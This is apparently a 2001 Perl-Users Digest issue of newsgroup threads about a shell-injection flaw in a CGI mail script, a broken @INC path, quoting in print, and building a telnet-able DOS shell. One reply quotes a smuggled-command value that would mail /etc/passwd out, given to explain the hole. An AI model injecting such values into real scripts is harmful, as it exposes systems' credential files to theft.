Date: Sun, 15 Jul 2001 23:47:22 GMT
From: "Ibrahim Hamouda" <iham@internode.net>
Subject: Re: please help urgent
Message-Id: <eYp47.7122$W6.3696127@news2.rdc1.ab.home.com>
I'm really new to all this stuff, this script will be running in an
intranet.
I don't understand what you said about chracters special for the shell, can
you please explain if possible how to make it work
"Clinton A. Pierce" <clintp@geeksalad.org> wrote in message
news:85p47.14898$JN6.3172288@news1.rdc1.mi.home.com...
> [Posted and mailed]
>
> In article <p%o47.7040$W6.3662854@news2.rdc1.ab.home.com>,
> "Ibrahim Hamouda" <iham@internode.net> writes:
> > here's my script, please help I'm on it for 7 hours now and can't figure
out
> > what is the problem
>
> The short answer is, $ADDRESS or $MSGS has characters special to the shell
in
> it.
>
> The long answer is: this script is quite insecure and possibly allows
> people using the script to execute commands on your system.
>
> Consider what happens if the parameter "email" is set to:
>
> ";mail me@myhost</etc/passwd; "
>
> Or the like. Hmm? You need to brush up on CGI script security and
> learn about the -T switch and quoting metacharacters.
>
> --
> Clinton A. Pierce Teach Yourself Perl in 24 Hours *and*
> clintp@geeksalad.org Perl Developer's Dictionary
> "If you rush a Miracle Man, for details, see http://geeksalad.org
> you get rotten Miracles." --Miracle Max, The Princess Bride
------------------------------
Date: Sun, 15 Jul 2001 12:18:23 -0700
From: Les Ander <citykid@nospam.com>
Subject: problem with @INC
Message-Id: <Pine.LNX.4.33.0107151214370.3170-100000@schewanella.stanford.edu>
Hi,
I installed Net:ssh module and unfotunately it decided
to upgrade my perl from 5.6 to 5.6.1. Now when ever i try to use
a module that i had previously installed does'nt work anymore.
For example, if i type perl -e 'use DBI;'
it says...
---[~>> perl -e 'use DBI;'
Can't locate DBI.pm in @INC (@INC contains:
/usr/local/lib/perl5/5.6.1/i686-linux /usr/local/lib/perl5/5.6.1
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux
/usr/local/lib/perl5/site_perl/5.6.1 /usr/local/lib/perl5/site_perl .) at
-e line 1.
BEGIN failed--compilation aborted at -e line 1.
but
---[~>> locate DBI.pm
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Bundle/DBI.pm
/usr/lib/perl5/site_perl/5.6.0/i386-linux/DBI.pm
/usr/lib/perl5/site_perl/DBI.pm
How can i add the /usr/lib/perl5/site_perl/5.6.0
into my path? Is there another way to fix this?
thanks
------------------------------
Date: Sun, 15 Jul 2001 19:35:37 GMT
From: "James Warpup" <jwarpup1@home.com>
Subject: simple question
Message-Id: <dgm47.14543$JN6.3060759@news1.rdc1.mi.home.com>
i need the print command to output "$variable"
i can get it to output the variable, or ""$variable
but i can't bet "$variable"
here's the specific command I tried
print "\"$variable\""
what am i doing wron?
------------------------------
Date: Sun, 15 Jul 2001 17:49:34 -0400
From: Andras Malatinszky <andras@mortgagestats.com>
Subject: Re: simple question
Message-Id: <3B520FED.4D5493C9@mortgagestats.com>
James Warpup wrote:
> i need the print command to output "$variable"
>
> i can get it to output the variable, or ""$variable
> but i can't bet "$variable"
>
> here's the specific command I tried
>
> print "\"$variable\""
>
> what am i doing wron?
Try
print '"variable"';
------------------------------
Date: Sun, 15 Jul 2001 23:14:03 +0100
From: "Stuart Moore" <stumo@bigfoot.com>
Subject: Using Perl to do a Telnetable dos shell
Message-Id: <Tzo47.45854$B56.9956862@news2-win.server.ntlworld.com>
Hi, I want a Dos shell to some machines I want but can't find a free one. I was
thinking that Perl ought to be able to do it - perhaps have a script listening
to the port and pipeing everything to an instance of command.com, sending back
anything returned. I'm not quite sure where to start with this as I have no
experience with Perl for networks/ports - anyone got any suggested reading (pref
web) or modules? Anyone ever done this/tried and failed?
Cheers
Stuart
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 1309
***************************************